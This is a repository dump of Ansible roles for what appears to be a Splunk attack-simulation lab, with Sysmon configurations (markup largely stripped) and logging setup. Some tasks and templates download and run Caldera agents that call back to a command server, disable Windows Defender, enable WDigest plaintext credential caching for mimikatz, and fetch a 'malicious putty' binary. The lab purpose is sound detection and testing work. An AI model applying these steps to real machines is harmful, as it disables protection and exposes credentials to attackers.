-------------------------------------------------------------------------------- 1 | --- 2 | 3 | - block: 4 | - name: check if sysmon archive is present 5 | win_stat: 6 | path: c:\Program Files\ansible\sysmon 7 | register: sysmondl 8 | 9 | - name: download sysmon 10 | win_get_url: 11 | url: "{{ win_sysmon_url }}" 12 | dest: 'c:\Program Files\ansible\{{ win_sysmon_url | basename }}' 13 | timeout: 60 14 | when: not sysmondl.stat.exists 15 | 16 | - name: unzip sysmon 17 | win_unzip: 18 | src: 'c:\Program Files\ansible\{{ win_sysmon_url | basename }}' 19 | dest: 'c:\Program Files\ansible\sysmon' 20 | creates: 'c:\Program Files\ansible\sysmon\sysmon.exe' 21 | when: not sysmondl.stat.exists 22 | 23 | - name: add sysmon to PATH 24 | win_path: 25 | elements: 'c:\Program Files\ansible\sysmon' 26 | when: not sysmondl.stat.exists 27 | 28 | - block: 29 | - name: Copy Sysmon template 30 | win_template: 31 | src: "{{ win_sysmon_template }}.j2" 32 | dest: 'c:\Program Files\ansible\{{ win_sysmon_template }}' 33 | 34 | - name: install sysmon with defined config 35 | win_command: '"c:\Program Files\ansible\sysmon\sysmon64.exe" -accepteula -i "c:\Program Files\ansible\{{ win_sysmon_template }}"' 36 | 37 | when: win_sysmon_template != '' 38 | -------------------------------------------------------------------------------- /ansible/roles/sysmon/templates/SysmonConfig-Neo23x0-server.xml.j2: -------------------------------------------------------------------------------- 1 | {{ ansible_managed | comment('xml') }} 2 | 15 | 16 | 17 | MD5,SHA1,SHA256,IMPHASH 18 | 19 | 20 | 21 | 22 | microsoft 23 | windows 24 | 25 | 26 | 27 | splunk 28 | btool.exe 29 | SnareCore 30 | nxlog 31 | Microsoft Monitoring Agent\Agent\MonitoringHost.exe 32 | ClearMyTracksByProcess 33 | 34 | 35 | 36 | lsass.exe 37 | winlogon.exe 38 | svchost.exe 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | Windows\CurrentVersion\Run 49 | Windows\CurrentVersion\Image File Execution Options 50 | CurrentControlSet\Services 51 | Microsoft\Windows NT\CurrentVersion\Winlogon 52 | Microsoft\Windows\CurrentVersion\Policies\Explorer 53 | Microsoft\Windows\CurrentVersion\RunOnce 54 | System\CurrentControlSet\Services\Tcpip\parameters 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 80 63 | 443 64 | 8080 65 | 3389 66 | cmd.exe 67 | PsExe 68 | winexe 69 | powershell 70 | cscript 71 | mstsc 72 | RTS2App 73 | RTS3App 74 | wmic 75 | 76 | 77 | 78 | 79 | 80 | lsass.exe 81 | 82 | 83 | wmiprvse.exe 84 | GoogleUpdate.exe 85 | LTSVC.exe 86 | taskmgr.exe 87 | VBoxService.exe # Virtual Box 88 | vmtoolsd.exe 89 | taskmgr.exe 90 | \Citrix\System32\wfshell.exe #Citrix process in C:\Program Files (x86)\Citrix\System32\wfshell.exe 91 | C:\Windows\System32\lsm.exe # System process under C:\Windows\System32\lsm.exe 92 | Microsoft.Identity.AadConnect.Health.AadSync.Host.exe # Microsoft Azure AD Connect Health Sync Agent 93 | C:\Program Files (x86)\Symantec\Symantec Endpoint Protection # Symantec 94 | 95 | 99 | 100 | 101 | verclsid.exe 102 | svchost.exe 103 | 104 | 106 | 107 | 0x1F0FFF 108 | 0x1F1FFF 109 | 0x1F2FFF 110 | 0x1F3FFF 111 | 112 | 0x1FFFFF 113 | unknown 114 | 115 | 116 | 117 | -------------------------------------------------------------------------------- /ansible/roles/sysmon/templates/SysmonConfig-Neo23x0-workstations.xml.j2: -------------------------------------------------------------------------------- 1 | {{ ansible_managed | comment('xml') }} 2 | 16 | 17 | 18 | MD5,SHA1,SHA256,IMPHASH 19 | 20 | 21 | 22 | 23 | microsoft 24 | windows 25 | 26 | 27 | 28 | System 29 | 30 | 31 | 32 | WmiPrvSE.exe 33 | FireSvc.exe 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | Windows\CurrentVersion\Run 44 | Windows\CurrentVersion\Image File Execution Options 45 | CurrentControlSet\Services 46 | Microsoft\Windows NT\CurrentVersion\Winlogon 47 | Microsoft\Windows\CurrentVersion\Policies\Explorer 48 | Microsoft\Windows\CurrentVersion\RunOnce 49 | System\CurrentControlSet\Services\Tcpip\parameters 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | chrome.exe 58 | iexplore.exe 59 | firefox.exe 60 | 8080 61 | 62 | 65 | 66 | 67 | 68 | 69 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /ansible/roles/sysmon/templates/SysmonConfig-Verbose.xml.j2: -------------------------------------------------------------------------------- 1 | {{ ansible_managed | comment('xml') }} 2 | 5 | 6 | 7 | 8 | * 9 | 10 | 11 | 12 | splunk 13 | btool.exe 14 | SnareCore 15 | nxlog 16 | winlogbeat 17 | Microsoft Monitoring Agent\Agent\MonitoringHost.exe 18 | C:\Program Files\NVIDIA Corporation\Display\ 19 | C:\Program Files\Dell\SupportAssist\pcdrcui.exe 20 | C:\Program Files\Dell\SupportAssist\koala.exe 21 | C:\Program Files\Windows Defender 22 | C:\Windows\System32\audiodg.exe 23 | C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe 24 | C:\Program Files (x86)\Google\Update\GoogleUpdate.exe 25 | \Sysmon.exe 26 | C:\WIndows\System32\poqexec.exe /noreboot /transaction 27 | 28 | 29 | 30 | 31 | 32 | C:\Program Files\Microsoft Office\Office15\ONENOTE.EXE 33 | Spotify.exe 34 | OneDrive.exe 35 | AppData\Roaming\Dashlane\Dashlane.exe 36 | AppData\Roaming\Dashlane\DashlanePlugin.exe 37 | winlogbeat.exe 38 | C:\Windows\System32\spoolsv.exe 39 | C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe 40 | C:\Program Files (x86)\Common Files\Acronis\SyncAgent\syncagentsrv.exe 41 | C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe 42 | C:\Windows\System32\CompatTelRunner.exe 43 | C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe 44 | C:\Program Files (x86)\Google\Chrome\Application\chrome.exe 45 | C:\Windows\System32\mmc.exe 46 | C:\Program Files\Microsoft VS Code\Code.exe 47 | 48 | 49 | 50 | 51 | 52 | microsoft 53 | windows 54 | VMware 55 | Intel 56 | 57 | 58 | 59 | chrome.exe 60 | vmtoolsd.exe 61 | Sysmon.exe 62 | mmc.exe 63 | C:\Program Files (x86)\Google\Update\GoogleUpdate.exe 64 | C:\Windows\System32\taskeng.exe 65 | C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe 66 | C:\Program Files\Windows Defender\NisSrv.exe 67 | C:\Program Files\Windows Defender\MsMpEng.exe 68 | 69 | 70 | 71 | 72 | 73 | C:\Program Files\VMware\VMware Tools\vmtoolsd.exe 74 | C:\Program Files (x86)\Google\Update\GoogleUpdate.exe 75 | \Sysmon.exe 76 | 77 | 78 | 79 | C:\Program Files\VMware\VMware Tools\vmtoolsd.exe 80 | C:\Windows\system32\taskeng.exe 81 | C:\Windows\system32\lsass.exe 82 | Sysmon.exe 83 | GoogleUpdate.exe 84 | C:\Program Files (x86)\Google\Chrome\Application\chrome.exe 85 | C:\Program Files\Windows Defender\MsMpEng.exe 86 | C:\Program Files\Microsoft VS Code\Code.exe 87 | C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe 88 | C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe 89 | C:\Windows\system32\mmc.exe 90 | C:\Program Files\Microsoft VS Code\Code.exe 91 | C:\Windows\system32\sihost.exe 92 | C:\Program Files\Windows Defender\MsMpEng.exe 93 | c:\Program Files\Microsoft VS Code\resources\app\out\vs\workbench\services\files\node\watcher\win32\CodeHelper.exe 94 | C:\Windows\system32\ApplicationFrameHost.exe 95 | C:\Windows\System32\taskhostw.exe 96 | C:\Windows\System32\RuntimeBroker.exe 97 | 98 | 99 | 100 | SearchIndexer.exe 101 | winlogbeat.exe 102 | C:\Windows\system32\mmc.exe 103 | C:\Program Files (x86)\Google\Chrome\Application\chrome.exe 104 | C:\Program Files\Microsoft VS Code\Code.exe 105 | 106 | 107 | 108 | C:\Program Files\VMware\VMware Tools\vmtoolsd.exe 109 | C:\Windows\system32\mmc.exe 110 | C:\Windows\system32\taskeng.exe 111 | C:\Windows\System32\svchost.exe 112 | C:\Windows\system32\lsass.exe 113 | C:\Windows\Sysmon.exe 114 | GoogleUpdate.exe 115 | C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe 116 | C:\Program Files\Windows Defender\NisSrv.exe 117 | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\Microsoft Print to PDF\PrinterDriverData 118 | LanguageList 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | -------------------------------------------------------------------------------- /ansible/roles/sysmon/templates/SysmonConfigCustom.xml.j2: -------------------------------------------------------------------------------- 1 | {{ ansible_managed | comment('xml') }} 2 | 3 | -------------------------------------------------------------------------------- /ansible/roles/windows_caldera_agent/tasks/firewall.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: adapt firewall rules for caldera 4 | win_shell: "{{ item }}" 5 | with_items: 6 | - Enable-NetFirewallRule -DisplayName 'File and Printer Sharing (SMB-In)' 7 | - Enable-NetFirewallRule -DisplayName 'Remote Scheduled Tasks Management (RPC)' 8 | -------------------------------------------------------------------------------- /ansible/roles/windows_caldera_agent/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | 4 | - name: Copy caldera agent script for caldera on splunk_server 5 | win_template: 6 | src: caldera_agent.ps1.j2 7 | dest: C:\caldera_agent.ps1 8 | when: splunk_server == "1" 9 | 10 | - name: Copy caldera agent script for caldera on caldera_server 11 | win_template: 12 | src: caldera_agent_nosplunk.ps1.j2 13 | dest: C:\caldera_agent.ps1 14 | when: splunk_server == "0" 15 | 16 | - name: Create scheduled task for PS script 17 | win_scheduled_task: 18 | name: CalderaAgent 19 | description: Run a PowerShell script 20 | actions: 21 | - path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 22 | arguments: -ExecutionPolicy Unrestricted -NonInteractive -File C:\caldera_agent.ps1 23 | triggers: 24 | - type: boot 25 | username: SYSTEM 26 | run_level: highest 27 | state: present 28 | 29 | - name: Run caldera agent 30 | win_shell: 'Start-ScheduledTask -TaskName "CalderaAgent"' 31 | 32 | - name: Copy caldera manx agent script for splunk_server 33 | win_template: 34 | src: caldera_manx_agent.ps1.j2 35 | dest: C:\caldera_manx_agent.ps1 36 | when: splunk_server == "1" 37 | 38 | - name: Copy caldera manx agent script for caldera_server 39 | win_template: 40 | src: caldera_manx_agent_nosplunk.ps1.j2 41 | dest: C:\caldera_manx_agent.ps1 42 | when: splunk_server == "0" 43 | 44 | - name: Create scheduled task for PS script 45 | win_scheduled_task: 46 | name: CalderaAgentManX 47 | description: Run a PowerShell script 48 | actions: 49 | - path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 50 | arguments: -ExecutionPolicy Unrestricted -NonInteractive -File C:\caldera_manx_agent.ps1 51 | triggers: 52 | - type: boot 53 | username: SYSTEM 54 | run_level: highest 55 | state: present 56 | 57 | - name: Run caldera manx agent 58 | win_shell: 'Start-ScheduledTask -TaskName "CalderaAgentManX"' 59 | -------------------------------------------------------------------------------- /ansible/roles/windows_caldera_agent/tasks/registry.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: WDigest caching must be enabled for mimikatz to detect plaintext credentials. 4 | win_regedit: 5 | key: HKLM:\System\CurrentControlSet\Control\SecurityProviders\WDigest 6 | value: UseLogonCredential 7 | data: 1 8 | datatype: dword 9 | -------------------------------------------------------------------------------- /ansible/roles/windows_caldera_agent/tasks/windows.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Ensure Microsoft Visual C++ Redistributable for Visual Studio 2015 is present 4 | win_chocolatey: 5 | name: vcredist2015 6 | state: present 7 | ignore_errors: true 8 | 9 | - name: Ensure caldera agent directory exists 10 | win_file: 11 | path: 'C:\Program Files\cagent' 12 | state: directory 13 | 14 | - name: Download Caldera agent and dependencies 15 | win_get_url: 16 | url: "{{ item.u }}" 17 | dest: "{{ item.d }}" 18 | with_items: "{{ calderaagent_urls }}" 19 | 20 | - include: firewall.yml 21 | - include: registry.yml 22 | 23 | - name: retrieve Caldera server config from splunk_server 24 | win_get_url: 25 | url: 'https://{{ splunk_indexer_ip }}:8888/conf.yml' 26 | dest: 'C:\Program Files\cagent\conf.yml' 27 | when: splunk_server == "1" 28 | 29 | - name: retrieve Caldera server config from caldera_server 30 | win_get_url: 31 | url: 'https://{{ caldera_server_ip }}:8888/conf.yml' 32 | dest: 'C:\Program Files\cagent\conf.yml' 33 | when: splunk_server == "0" 34 | 35 | - name: Setup agent 36 | win_shell: cagent.exe --startup auto install 37 | args: 38 | chdir: 'C:\Program Files\cagent' 39 | 40 | - name: Start agent 41 | win_shell: cagent.exe start 42 | args: 43 | chdir: 'C:\Program Files\cagent' 44 | -------------------------------------------------------------------------------- /ansible/roles/windows_caldera_agent/templates/caldera_agent.ps1.j2: -------------------------------------------------------------------------------- 1 | 2 | $url="http://{{ splunk_indexer_ip }}:8888/file/download" 3 | $wc=New-Object System.Net.WebClient 4 | $wc.Headers.add("platform","windows") 5 | $wc.Headers.add("file","sandcat.go") 6 | $output="C:\Users\Public\sandcat.exe" 7 | $wc.DownloadFile($url,$output) 8 | C:\Users\Public\sandcat.exe -server http://{{ splunk_indexer_ip }}:8888 -group my_group -v 9 | -------------------------------------------------------------------------------- /ansible/roles/windows_caldera_agent/templates/caldera_agent_nosplunk.ps1.j2: -------------------------------------------------------------------------------- 1 | 2 | $url="http://{{ caldera_server_ip }}:8888/file/download" 3 | $wc=New-Object System.Net.WebClient 4 | $wc.Headers.add("platform","windows") 5 | $wc.Headers.add("file","sandcat.go") 6 | $output="C:\Users\Public\sandcat.exe" 7 | $wc.DownloadFile($url,$output) 8 | C:\Users\Public\sandcat.exe -server http://{{ caldera_server_ip }}:8888 -group my_group -v 9 | -------------------------------------------------------------------------------- /ansible/roles/windows_caldera_agent/templates/caldera_manx_agent.ps1.j2: -------------------------------------------------------------------------------- 1 | #manx splunk attack range TCP agent code 2 | if ($host.Version.Major -ge 3){$ErrAction= "ignore"}else{$ErrAction= "SilentlyContinue"};$server="http://{{ splunk_indexer_ip }}:8888";$socket="{{ splunk_indexer_ip }}:7010";$contact="tcp";$url="$server/file/download";$wc=New-Object System.Net.WebClient;$wc.Headers.add("platform","windows");$wc.Headers.add("file","manx.go");$data=$wc.DownloadData($url);$name=$wc.ResponseHeaders["Content-Disposition"].Substring($wc.ResponseHeaders["Content-Disposition"].IndexOf("filename=")+9).Replace("`"","");Get-Process | ? {$_.Path -like "C:\Users\Public\$name.exe"} | stop-process -f -ea $ErrAction;rm -force "C:\Users\Public\$name.exe" -ea $ErrAction;([io.file]::WriteAllBytes("C:\Users\Public\$name.exe",$data)) | Out-Null;Start-Process -FilePath C:\Users\Public\$name.exe -ArgumentList "-socket $socket -http $server -contact tcp" -WindowStyle hidden; 3 | -------------------------------------------------------------------------------- /ansible/roles/windows_caldera_agent/templates/caldera_manx_agent_nosplunk.ps1.j2: -------------------------------------------------------------------------------- 1 | #manx splunk attack range TCP agent code 2 | if ($host.Version.Major -ge 3){$ErrAction= "ignore"}else{$ErrAction= "SilentlyContinue"};$server="http://{{ caldera_server_ip }}:8888";$socket="{{ caldera_server_ip }}:7010";$contact="tcp";$url="$server/file/download";$wc=New-Object System.Net.WebClient;$wc.Headers.add("platform","windows");$wc.Headers.add("file","manx.go");$data=$wc.DownloadData($url);$name=$wc.ResponseHeaders["Content-Disposition"].Substring($wc.ResponseHeaders["Content-Disposition"].IndexOf("filename=")+9).Replace("`"","");Get-Process | ? {$_.Path -like "C:\Users\Public\$name.exe"} | stop-process -f -ea $ErrAction;rm -force "C:\Users\Public\$name.exe" -ea $ErrAction;([io.file]::WriteAllBytes("C:\Users\Public\$name.exe",$data)) | Out-Null;Start-Process -FilePath C:\Users\Public\$name.exe -ArgumentList "-socket $socket -http $server -contact tcp" -WindowStyle hidden; 3 | -------------------------------------------------------------------------------- /ansible/roles/windows_caldera_agent/vars/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | caldera_win_temp_dir: 'c:\ansible\temp' 4 | caldera_server_conf: '' 5 | calderaagent_urls: 6 | - { u: 'https://github.com/mitre/caldera-agent/releases/download/v0.1.0/cagent.exe', c: 'sha256:a7a2269db0b90815390b8986b706212647506dfb988798b937ebf1b92e188d41', d: 'c:\Program Files\cagent\cagent.exe' } 7 | -------------------------------------------------------------------------------- /ansible/roles/windows_common/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - include: set-hostname.yml 3 | - include: set-timezone.yml 4 | - include: windows-disable-defender.yml 5 | - include: windows-enable-ps-logging.yml 6 | - include: windows-enable-4688-cmd-line-audit.yml 7 | #- include: windows-security-configure-logging.yml 8 | -------------------------------------------------------------------------------- /ansible/roles/windows_common/tasks/set-hostname.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Change the hostname 4 | win_hostname: 5 | name: "{{ hostname }}-{{ 9999999 | random }}" 6 | -------------------------------------------------------------------------------- /ansible/roles/windows_common/tasks/set-timezone.yml: -------------------------------------------------------------------------------- 1 | - name: Set timezone 2 | community.windows.win_timezone: 3 | timezone: "{{ win_timezone }}" 4 | -------------------------------------------------------------------------------- /ansible/roles/windows_common/tasks/windows-disable-defender.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - debug: 4 | var: ansible_distribution 5 | 6 | # - name: Disable Windows Defender for Windows 10 7 | # win_regedit: 8 | # path: "HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" 9 | # name: DisableAntiSpyware 10 | # type: dword 11 | # data: 1 12 | # when: ansible_distribution == "Microsoft Windows 10 Enterprise Evaluation" 13 | 14 | - name: Disable Real-Time Protection of Windows Defender for Windows 10 15 | ignore_errors: yes 16 | win_regedit: 17 | path: "HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" 18 | name: DisableRealtimeMonitoring 19 | type: dword 20 | data: 1 21 | when: ansible_distribution == "Microsoft Windows 10 Enterprise Evaluation" 22 | 23 | # - name: Disable Windows Defender in Windows Server windows_domain_controller 24 | # win_shell: 'Set-MpPreference -DisableRealtimeMonitoring 1' 25 | # when: ansible_distribution == "Microsoft Windows 10 Enterprise Evaluation" 26 | 27 | # - name: Disable Windows Defender for Windows 10 28 | # ignore_errors: yes 29 | # win_shell: 'Set-MpPreference -DisableRealtimeMonitoring $true' 30 | # when: ansible_distribution == "Microsoft Windows 10 Enterprise Evaluation" 31 | 32 | - name: Disable Windows Defender in Windows Server windows_domain_controller 33 | win_shell: 'Uninstall-WindowsFeature -Name Windows-Defender' 34 | when: ansible_distribution == "Microsoft Windows Server 2016 Datacenter" or 35 | ansible_distribution == "Microsoft Windows Server 2016 Standard Evaluation" 36 | -------------------------------------------------------------------------------- /ansible/roles/windows_common/tasks/windows-enable-4688-cmd-line-audit.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Enable Command Line Audit for Windows Sec. Events 4688 4 | ignore_errors: yes 5 | win_regedit: 6 | key: "HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Audit" 7 | value: ProcessCreationIncludeCmdLine_Enabled 8 | datatype: dword 9 | data: 1 10 | 11 | - name: Enable New Process Creation. Events 4688 12 | ignore_errors: yes 13 | win_audit_policy_system: 14 | subcategory: Process Creation 15 | audit_type: success, failure 16 | -------------------------------------------------------------------------------- /ansible/roles/windows_common/tasks/windows-enable-ps-logging.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Enable Windows Scriptblock Logging 4 | ignore_errors: yes 5 | win_regedit: 6 | key: "HKLM:\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging" 7 | value: EnableScriptBlockLogging 8 | datatype: dword 9 | data: 1 10 | 11 | - name: Enable Windows Scriptblock Logging 12 | ignore_errors: yes 13 | win_regedit: 14 | key: "HKLM:\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging" 15 | value: EnableScriptBlockInvocationLogging 16 | datatype: dword 17 | data: 1 18 | 19 | - name: restart machine 20 | win_reboot: 21 | -------------------------------------------------------------------------------- /ansible/roles/windows_common/tasks/windows-security-configure-logging.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Enable Windows Security Logging "Account Logon" 4 | win_audit_policy_system: 5 | subcategory: Credential Validation 6 | audit_type: success, failure 7 | 8 | - name: Enable Windows Security Logging "Account Logon" 9 | win_audit_policy_system: 10 | subcategory: Kerberos Authentication Service 11 | audit_type: success, failure 12 | 13 | - name: Enable Windows Security Logging "Account Logon" 14 | win_audit_policy_system: 15 | subcategory: Kerberos Service Ticket Operations 16 | audit_type: success, failure 17 | 18 | - name: Enable Windows Security Logging "Account Management" 19 | win_audit_policy_system: 20 | subcategory: User Account Management 21 | audit_type: success, failure 22 | 23 | - name: Enable Windows Security Logging "Account Management" 24 | win_audit_policy_system: 25 | subcategory: Security Group Management 26 | audit_type: success, failure 27 | 28 | - name: Enable Windows Security Logging "Account Management" 29 | win_audit_policy_system: 30 | subcategory: Distribution Group Management 31 | audit_type: success, failure 32 | 33 | - name: Enable Windows Security Logging "Account Management" 34 | win_audit_policy_system: 35 | subcategory: Computer Account Management 36 | audit_type: success, failure 37 | 38 | - name: Enable Windows Security Logging "Detailed Tracking" 39 | win_audit_policy_system: 40 | subcategory: Process Creation 41 | audit_type: success, failure 42 | 43 | - name: Enable Windows Security Logging "Detailed Tracking" 44 | win_audit_policy_system: 45 | subcategory: Process Termination 46 | audit_type: success, failure 47 | 48 | - name: Enable Windows Security Logging "Detailed Tracking" 49 | win_audit_policy_system: 50 | subcategory: Directory Service Access 51 | audit_type: success, failure 52 | 53 | - name: Enable Windows Security Logging "Logon Logoff" 54 | win_audit_policy_system: 55 | subcategory: Account Lockout 56 | audit_type: success, failure 57 | 58 | - name: Enable Windows Security Logging "Logon Logoff" 59 | win_audit_policy_system: 60 | subcategory: Logoff 61 | audit_type: success, failure 62 | 63 | - name: Enable Windows Security Logging "Logon Logoff" 64 | win_audit_policy_system: 65 | subcategory: Logon 66 | audit_type: success, failure 67 | 68 | - name: Enable Windows Security Logging "Logon Logoff" 69 | win_audit_policy_system: 70 | subcategory: Special Logon 71 | audit_type: success, failure 72 | 73 | - name: Enable Windows Security Logging "Object Access" 74 | win_audit_policy_system: 75 | subcategory: Detailed File Share 76 | audit_type: success, failure 77 | 78 | - name: Enable Windows Security Logging "Object Access" 79 | win_audit_policy_system: 80 | subcategory: File Share 81 | audit_type: success, failure 82 | 83 | - name: Enable Windows Security Logging "Object Access" 84 | win_audit_policy_system: 85 | subcategory: Filtering Platform Connection 86 | audit_type: success, failure 87 | 88 | - name: Enable Windows Security Logging "Object Access" 89 | win_audit_policy_system: 90 | subcategory: Kernel Object 91 | audit_type: success, failure 92 | 93 | - name: Enable Windows Security Logging "Object Access" 94 | win_audit_policy_system: 95 | subcategory: Other Object Access Events 96 | audit_type: success, failure 97 | 98 | - name: Enable Windows Security Logging "Object Access" 99 | win_audit_policy_system: 100 | subcategory: Registry 101 | audit_type: success, failure 102 | 103 | - name: Enable Windows Security Logging "Object Access" 104 | win_audit_policy_system: 105 | subcategory: Removable Storage 106 | audit_type: success, failure 107 | 108 | - name: Enable Windows Security Logging "Object Access" 109 | win_audit_policy_system: 110 | subcategory: SAM 111 | audit_type: success, failure 112 | 113 | - name: Enable Windows Security Logging "Privilege Use" 114 | win_audit_policy_system: 115 | subcategory: Sensitive Privilege Use 116 | audit_type: success, failure 117 | 118 | - name: Enable Windows Security Logging "System" 119 | win_audit_policy_system: 120 | subcategory: Security State Change 121 | audit_type: success, failure 122 | -------------------------------------------------------------------------------- /ansible/roles/windows_dns_server/tasks/features.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: features | Installing Windows DNS Server 3 | win_feature: 4 | name: DNS 5 | state: present 6 | include_management_tools: yes 7 | include_sub_features: yes 8 | register: _windows_dns_server 9 | -------------------------------------------------------------------------------- /ansible/roles/windows_dns_server/tasks/main.yaml: -------------------------------------------------------------------------------- 1 | - include: features.yml 2 | - include: reboot.yml 3 | -------------------------------------------------------------------------------- /ansible/roles/windows_dns_server/tasks/reboot.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: reboot | Rebooting Server 3 | win_reboot: 4 | reboot_timeout_sec: 3600 5 | when: > 6 | _windows_dns_server['restart_needed'] is defined and 7 | _windows_dns_server['restart_needed'] 8 | -------------------------------------------------------------------------------- /ansible/roles/windows_domain_client/files/join_domain.ps1: -------------------------------------------------------------------------------- 1 | 2 | $domain = $args[0] 3 | $password = $args[2] | ConvertTo-SecureString -asPlainText -Force 4 | $username = $args[1] 5 | $credential = New-Object System.Management.Automation.PSCredential($username,$password) 6 | Add-Computer -DomainName $domain -Credential $credential 7 | -------------------------------------------------------------------------------- /ansible/roles/windows_domain_client/tasks/copy_malicious_putty.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Download Splunk puttyX.exe from S3 bucket 4 | win_shell: | 5 | [Net.ServicePointManager]::SecurityProtocol = "tls12, tls11, tls" 6 | (New-Object System.Net.WebClient).DownloadFile("https://attack-range-appbinaries.s3-us-west-2.amazonaws.com/puttyX.exe", "C:\puttyX.exe") 7 | 8 | # - name: copy malicious putty 9 | # win_copy: 10 | # src: puttyX.exe 11 | # dest: C:\puttyX.exe 12 | 13 | - name: Create new SMB share 14 | win_shell: New-SmbShare -Name evil -Path C:\ -FullAccess attackrange\Administrator 15 | -------------------------------------------------------------------------------- /ansible/roles/windows_domain_client/tasks/create.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Change dns server to domain controller 4 | win_dns_client: 5 | adapter_names: "{{ ansible_interfaces.0.connection_name }}" 6 | ipv4_addresses: "{{ windows_domain_controller_private_ip }}" 7 | 8 | - name: reboot | Rebooting Server 9 | win_reboot: 10 | 11 | - pause: 12 | minutes: 3 13 | when: use_packer == "1" 14 | 15 | - name: Copy join domain script to host 16 | win_copy: 17 | src: "join_domain.ps1" 18 | dest: 'C:\join_domain.ps1' 19 | 20 | - name: Run join domain 21 | win_shell: "C:\\join_domain.ps1 attackrange.local Administrator@attackrange.local {{ win_password }}" 22 | register: win_shell_output 23 | 24 | # - debug: 25 | # var: win_shell_output 26 | 27 | - win_reboot: 28 | -------------------------------------------------------------------------------- /ansible/roles/windows_domain_client/tasks/main.yaml: -------------------------------------------------------------------------------- 1 | - debug: 2 | var: windows_server_join_domain 3 | 4 | - include: create.yml 5 | when: windows_server_join_domain == "1" 6 | 7 | - include: copy_malicious_putty.yml 8 | when: 9 | - run_demo == "1" 10 | - demo_scenario == "mission_control_malicious_putty" 11 | - ansible_distribution == "Microsoft Windows Server 2016 Datacenter" or ansible_distribution == "Microsoft Windows Server 2016 Standard Evaluation" 12 | -------------------------------------------------------------------------------- /ansible/roles/windows_domain_controller/tasks/create.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: set local admin password 4 | win_user: 5 | name: Administrator 6 | password: "{{ win_password }}" 7 | state: present 8 | 9 | - name: features | Installing RSAT AD Admin Center 10 | win_feature: 11 | name: RSAT-AD-AdminCenter 12 | state: present 13 | 14 | - name: features | Installing AD Domain Services 15 | win_feature: 16 | name: AD-Domain-Services 17 | include_management_tools: yes 18 | include_sub_features: yes 19 | state: present 20 | 21 | - name: Creating a windows domain 22 | win_domain: 23 | dns_domain_name: "attackrange.local" 24 | safe_mode_password: "{{ win_password }}" 25 | 26 | - name: Setting DNS Servers 27 | win_dns_client: 28 | adapter_names: "*" 29 | ipv4_addresses: "127.0.0.1" 30 | 31 | - name: reboot | Rebooting Server 32 | win_reboot: 33 | post_reboot_delay: 300 34 | 35 | - name: Managing Domain Controller Membership 36 | win_domain_controller: 37 | dns_domain_name: "attackrange.local" 38 | domain_admin_user: "Administrator@attackrange.local" 39 | domain_admin_password: "{{ win_password }}" 40 | safe_mode_password: "{{ win_password }}" 41 | state: "domain_controller" 42 | register: _windows_domain_controller 43 | -------------------------------------------------------------------------------- /ansible/roles/windows_domain_controller/tasks/main.yaml: -------------------------------------------------------------------------------- 1 | - include: create.yml 2 | -------------------------------------------------------------------------------- /ansible/roles/windows_universal_forwarder/files/atomic_red_team_execution_inputs.conf: -------------------------------------------------------------------------------- 1 | [monitor://C:\AtomicRedTeam\atc_execution.csv] 2 | disabled = false 3 | index = attack 4 | -------------------------------------------------------------------------------- /ansible/roles/windows_universal_forwarder/files/nxlog.conf: -------------------------------------------------------------------------------- 1 | Panic Soft 2 | #NoFreeOnExit TRUE 3 | 4 | define ROOT C:\Program Files (x86)\nxlog 5 | define CERTDIR %ROOT%\cert 6 | define CONFDIR %ROOT%\conf 7 | define LOGDIR %ROOT%\data 8 | define LOGFILE %LOGDIR%\nxlog.log 9 | LogFile %LOGFILE% 10 | 11 | Moduledir %ROOT%\modules 12 | CacheDir %ROOT%\data 13 | Pidfile %ROOT%\data\nxlog.pid 14 | SpoolDir %ROOT%\data 15 | 16 | 17 | Module xm_syslog 18 | 19 | 20 | 23 | 24 | 25 | Module xm_json 26 | 27 | 28 | 29 | Module xm_charconv 30 | AutodetectCharsets iso8859-2, utf-8, utf-16, utf-32 31 | 32 | 33 | 34 | Module xm_exec 35 | 36 | 37 | 38 | Module xm_fileop 39 | 40 | # Check the size of our log file hourly, rotate if larger than 5MB 41 | 42 | Every 1 hour 43 | Exec if 